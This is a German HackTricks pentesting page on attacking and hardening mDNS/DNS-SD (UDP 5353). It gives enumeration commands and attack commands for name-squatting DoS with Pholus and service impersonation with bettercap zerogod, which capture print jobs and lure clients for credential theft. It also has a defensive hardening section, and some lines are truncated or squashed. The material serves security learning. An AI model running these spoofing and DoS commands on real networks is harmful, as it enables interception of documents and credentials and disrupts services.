5353/UDP Multicast DNS (mDNS) und DNS-SD
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Multicast DNS (mDNS) ermöglicht DNS-ähnliche Namensauflösung und Service-Discovery innerhalb eines lokalen Netzwerks ohne einen unicast DNS-Server. Es verwendet UDP/5353 und die Multicast-Adressen 224.0.0.251 (IPv4) und FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typischerweise zusammen mit mDNS verwendet) bietet eine standardisierte Möglichkeit, Dienste über PTR-, SRV- und TXT-Records aufzulisten und zu beschreiben.
PORT STATE SERVICE
5353/udp open zeroconf
Wichtige Protokolldetails, die du bei Angriffen oft nutzt:
- Namen in der .local-Zone werden über mDNS aufgelöst.
- Das QU (Query Unicast)-Bit kann unicast-Antworten anfordern, selbst für Multicast-Anfragen.
- Implementierungen sollten Pakete ignorieren, die nicht vom lokalen Link stammen; einige Stacks akzeptieren sie dennoch.
- Probing/announcing erzwingen eindeutige Host-/Service-Namen; Eingreifen hier erzeugt DoS/„name squatting“-Zustände.
DNS-SD service model
Services werden als _
Network Exploration and Enumeration
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Tipp: Einige Browser/WebRTC verwenden flüchtige mDNS-Hostnamen, um lokale IPs zu maskieren. Wenn du zufällige random-UUID.local-Kandidaten im Netzwerk siehst, löse sie mit mDNS auf, um zu lokalen IPs zu pivoten.
Attacks
mDNS name probing interference (DoS / name squatting)
Während der Probing-Phase prüft ein Host die Namens-Eindeutigkeit. Mit gefälschten Konflikten zu antworten zwingt ihn, neue Namen zu wählen oder zu scheitern. Das kann die Service-Registrierung und -Discovery verzögern oder verhindern.
Example with Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Gib beworbene DNS-SD-Dienste (Drucker, AirPlay, HTTP, Dateifreigaben) vor, um Clients dazu zu veranlassen, sich mit dir zu verbinden. Das ist besonders nützlich, um:
- Dokumente zu erfassen, indem du _ipp._tcp oder _printer._tcp spoofst.
- Clients auf HTTP/HTTPS-Services zu locken, um Tokens/Cookies zu erbeuten oder Payloads auszuliefern.
- Dies mit NTLM relay-Techniken zu kombinieren, wenn Windows-Clients Authentifizierung an spoofed services aushandeln.
Mit bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Siehe auch die generischen LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Hinweise zu jüngsten Implementierungsproblemen (nützlich für DoS/Persistenz während Engagements)
- Avahi reachable-assertion und D-Bus Crash-Bugs (2023) können avahi-daemon auf Linux-Distributionen beenden (z. B. CVE-2023-38469..38473, CVE-2023-1981) und die Service-Discovery auf Zielhosts bis zum Neustart stören.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) erlaubt angrenzenden WLAN-Clients, gefertigte mDNS-Pakete zu fluten, was die WLC-CPU in die Höhe treibt und AP-Tunnel fallen lässt — nützlich, wenn Sie während eines Engagements Client-Roaming oder Controller-Resets erzwingen müssen.
- Apple mDNSResponder Logic-Error DoS (CVE-2024-44183) ermöglicht es einem sandboxed lokalen Prozess, Bonjour abstürzen zu lassen, um kurzzeitig Service-Publikation/-Lookup auf Apple-Endpunkten zu unterdrücken; in aktuellen iOS/macOS-Releases gepatcht.
- Apple mDNSResponder Correctness-Issue (CVE-2025-31222) erlaubte lokale Privilege-Eskalation via mDNSResponder; nützlich für Persistenz auf unmanaged Macs/iPhones, in neueren iOS/macOS-Updates behoben.
Browser/WebRTC mDNS Hinweise
Moderne Chromium/Firefox verschleiern host candidates mit zufälligen mDNS-Namen. Sie können LAN-IP-Adressen auf verwalteten Endpunkten wieder freilegen, indem Sie die Chrome-Richtlinie WebRtcLocalIpsAllowedUrls setzen (oder chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge-Äquivalent umschalten), sodass ICE host candidates statt mDNS ausliefert; setzen über HKLM\Software\Policies\Google\Chrome.
Wenn Benutzer den Schutz manuell deaktivieren (häufig in WebRTC-Troubleshooting-Anleitungen), beginnen ihre Browser wieder damit, plain host candidates zu werben, die Sie per mDNS oder ICE-Signalisierung erfassen können, um die Host-Erkennung zu beschleunigen.
Verteidigungsaspekte und OPSEC
- Segmentgrenzen: Routieren Sie 224.0.0.251/FF02::FB nicht zwischen Sicherheitszonen, es sei denn, ein mDNS-Gateway ist explizit erforderlich. Wenn Sie Discovery überbrücken müssen, bevorzugen Sie Zulassungslisten und Ratenbegrenzungen.
- Windows-Endpunkte/Server:
- Um Name-Resolution via mDNS hart zu deaktivieren, setzen Sie den Registry-Wert und starten neu:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In verwalteten Umgebungen deaktivieren Sie die eingebaute “mDNS (UDP-In)” Windows Defender Firewall-Regel (mindestens im Domain-Profil), um eingehende mDNS-Verarbeitung zu verhindern und gleichzeitig Home/roaming-Funktionalität zu erhalten.
- In neueren Windows 11-Builds/GPO-Templates verwenden Sie die Richtlinie “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” und setzen Sie sie auf Disabled.
- Linux (Avahi):
- Publizieren einschränken, wenn nicht benötigt:
disable-publishing=yessetzen und Schnittstellen mitallow-interfaces=/deny-interfaces=in/etc/avahi/avahi-daemon.confbeschränken. - Erwägen Sie
check-response-ttl=yesund vermeiden Sieenable-reflector=yes, außer es ist strikt erforderlich; bevorzugen Siereflect-filters=Zulassungslisten beim Reflecting. - macOS: Beschränken Sie eingehendes mDNS an Host-/Netzwerk-Firewalls, wenn Bonjour-Discovery für bestimmte Subnetze nicht benötigt wird.
- Monitoring: Alarmieren Sie bei ungewöhnlichen Anstiegen von
_services._dns-sd._udp.local-Anfragen oder plötzlichen Änderungen in SRV/TXT kritischer Services; dies sind Indikatoren für spoofing oder Service-Imitation.
Schnellreferenz für Tools
- nmap NSE:
dns-service-discoveryundbroadcast-dns-service-discovery. - Pholus: aktiver Scan, reverse mDNS sweeps, DoS- und spoofing-Hilfen.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
Spoofing/MitM
Der interessanteste Angriff, den Sie über diesen Service durchführen können, ist ein MitM in der Kommunikation zwischen Client und dem echten Server. Möglicherweise können Sie sensitive Dateien erhalten (MitM der Kommunikation mit dem Drucker) oder sogar Credentials (Windows authentication).
Für weitere Informationen siehe:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


